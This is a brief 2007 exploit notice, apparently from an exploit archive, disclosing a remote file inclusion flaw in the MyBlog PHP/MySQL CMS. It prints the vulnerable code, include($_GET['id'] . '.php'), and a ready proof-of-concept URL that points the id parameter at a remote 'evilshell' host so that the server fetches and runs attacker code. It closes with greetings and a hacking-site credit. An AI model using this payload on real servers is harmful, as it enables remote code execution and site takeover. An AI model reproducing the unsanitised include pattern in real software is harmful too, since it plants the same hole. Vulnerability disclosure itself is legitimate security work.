myblogcms-rfi.txt
Posted on 25 December 2007
MyBlog CMS RFI Aurthor: Beenu Arora mail: beenudel1986@gmail.com Application:MyBlog: PHP and MySQL Blog/CMS software RFI 1.http://localhost/games.php?id=http://evilshell vulnerablity: include($_GET['id'] . ".php"); greetz : d3, baltazar , Zugzwang , Fuzion , Vivek Site: www.darkc0de.com -- Beenu Arora